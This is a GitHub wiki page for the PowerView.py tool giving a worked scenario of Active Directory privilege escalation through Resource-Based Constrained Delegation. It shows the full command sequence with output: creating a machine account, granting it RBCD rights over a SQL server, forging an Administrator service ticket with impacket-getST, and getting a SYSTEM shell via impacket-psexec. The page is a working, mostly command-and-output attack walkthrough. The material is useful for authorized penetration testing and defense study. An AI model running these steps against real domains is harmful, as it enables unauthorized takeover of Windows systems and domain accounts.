-
-
Notifications
You must be signed in to change notification settings - Fork 97
PowerView.py Use Cases
Muhammad Ali edited this page Jan 18, 2024
·
13 revisions
Scenario: You have identified a SQL injection vulnerability in a web application, allowing you to compromise a user with SeImpersonatePrivilege. Leveraging Resource-Based Constrained Delegation (RBCD) attacks, you can escalate privileges to become an Administrator.
Using PowerView.py, perform the following steps to achieve privilege escalation:
- Retrieve information about the MachineAccountQuota property.
- Create a computer account (e.g., POC113)
- Set the object ACL for the targeted account with RBCD rights.
└─$ export KRB5CCNAME=ticket.ccache
└─$ proxychains4 -q powerview domain.local/SQL03\$@10.10.10.10 --no-pass -k -ns 10.10.10.10
[2024-01-17 21:15:43] LDAP Signing NOT Enforced!
(LDAP)-[10.10.10.10]-[DOMAIN\admin]
PV > Get-Domain -Properties ms-DS-MachineAccountQuota
ms-DS-MachineAccountQuota : 10
(LDAP)-[10.10.10.10]-[DOMAIN\SQL03$]
PV > Add-DomainComputer -ComputerName POC113 -ComputerPass Password123
[2024-01-17 21:17:16] Successfully added machine account POC113$ with password Password123.
(LDAP)-[10.10.10.10]-[CORP\SQL01$]
PV > Add-DomainObjectAcl -TargetIdentity SQL01 -PrincipalIdentity POC113 -Rights RBCD
[2024-01-17 21:17:23] Found principal identity dn CN=POC113,CN=Computers,DC=domain,DC=local
[2024-01-17 21:17:23] Found target identity dn CN=SQL03,OU=SQL Servers,OU=Servers,OU=Domain,DC=domain,DC=local
[2024-01-17 21:17:23] Adding rbcd privilege to SQL03
[2024-01-17 21:17:24] Delegation rights modified succesfully!
[2024-01-17 21:17:24] CN=POC113,CN=Computers,DC=domain,DC=local can now impersonate users on SQL03$ via S4U2Proxy- Check for the presence of POC113 within the value of the
msDS-AllowedToActOnBehalfOfOtherIdentityproperty
(LDAP)-[10.10.10.10]-[DOMAIN\SQL03$]
PV > Get-DomainComputer SQL03 -Properties * -ResolveSIDs
...
msDS-AllowedToActOnBehalfOfOtherIdentity : DOMAIN\POC113$
...- Use
impacket-getSTto request a Service Ticket and save it as ccache with-impersonateAdministrator.
└─$ unset KRB5CCNAME
└─$ proxychains4 -q impacket-getST domain.local/POC113\$:'Password123' -spn CIFS/SQL03.domain.local -impersonate Administrator -dc-ip 10.10.10.10
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache- Obtain a shell using
impacket-psexec
└─# KRB5CCNAME=Administrator.ccache proxychains4 -q impacket-psexec Administrator@SQL03.DOMAIN.LOCAL -k -no-pass
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Requesting shares on SQL03.DOMAIN.LOCAL.....
[*] Found writable share ADMIN$
[*] Uploading file fLujQQds.exe
[*] Opening SVCManager on SQL03.DOMAIN.LOCAL.....
[*] Creating service aSVZ on SQL03.DOMAIN.LOCAL.....
[*] Starting service aSVZ.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\systemReferences
- Introduction
- Installation
- Supported Authentication
- Cheatsheets
- Obfuscation
- User Defined Rules
- Public Writeups
LDAP Operations
- Get-DomainUser
- Get-DomainComputer
- Get-DomainGroup
- Get-DomainGroupMember
- Get-DomainOU
- Get-Domain
- Get-DomainController
- Get-DomainDNSRecord
- Get-DomainDNSZone
- Get-DomainObject
- Get-DomainObjectAcl
- Get-DomainObjectOwner
- Get-DomainSCCM
- Get-DomainRBCD
- Get-DomainWDS
- Get-LocalUser
- Set-DomainObject
- Set-DomainObjectDN
- Set-DomainObjectOwner
- Set-DomainUserPassword
- Set-DomainComputerPassword
- Set-DomainRBCD
- Set-DomainDNSRecord
- Add-DomainUser
- Add-DomainComputer
- Add-DomainGroup
- Add-DomainGroupMember
- Add-DomainOU
- Add-DomainGPO
- Add-DomainObjectAcl
- Add-DomainDNSRecord
- Remove-DomainUser
- Remove-DomainComputer
- Remove-DomainObject
- Remove-DomainGroupMember
- Remove-DomainOU
- Remove-DomainObjectAcl
- Remove-DomainDNSRecord
- Disable-DomainDNSRecord
- Restore-DomainObject
- Unlock-ADAccount
- Enable-ADAccount
- Disable-ADAccount
- Login-As
- Clear-Cache
Computer Enumeration
- Get-NetSession
- Get-NetShare
- Get-NetLoggedOn
- Get-RegLoggedOn
- Get-NetComputerInfo
- Get-NetTerminalSession
- Get-NetProcess
- Stop-NetProcess
- Get-EventLog
- Get-EventLogChannel
- Get-EventLogPublisher
- Get-NetService
- Start-NetService
- Stop-NetService
- Add-NetService
- Set-NetService
- Remove-NetService
- Stop-Computer
- Restart-Computer
- Remove-NetTerminalSession
- Remove-NetSession
- Logoff-Session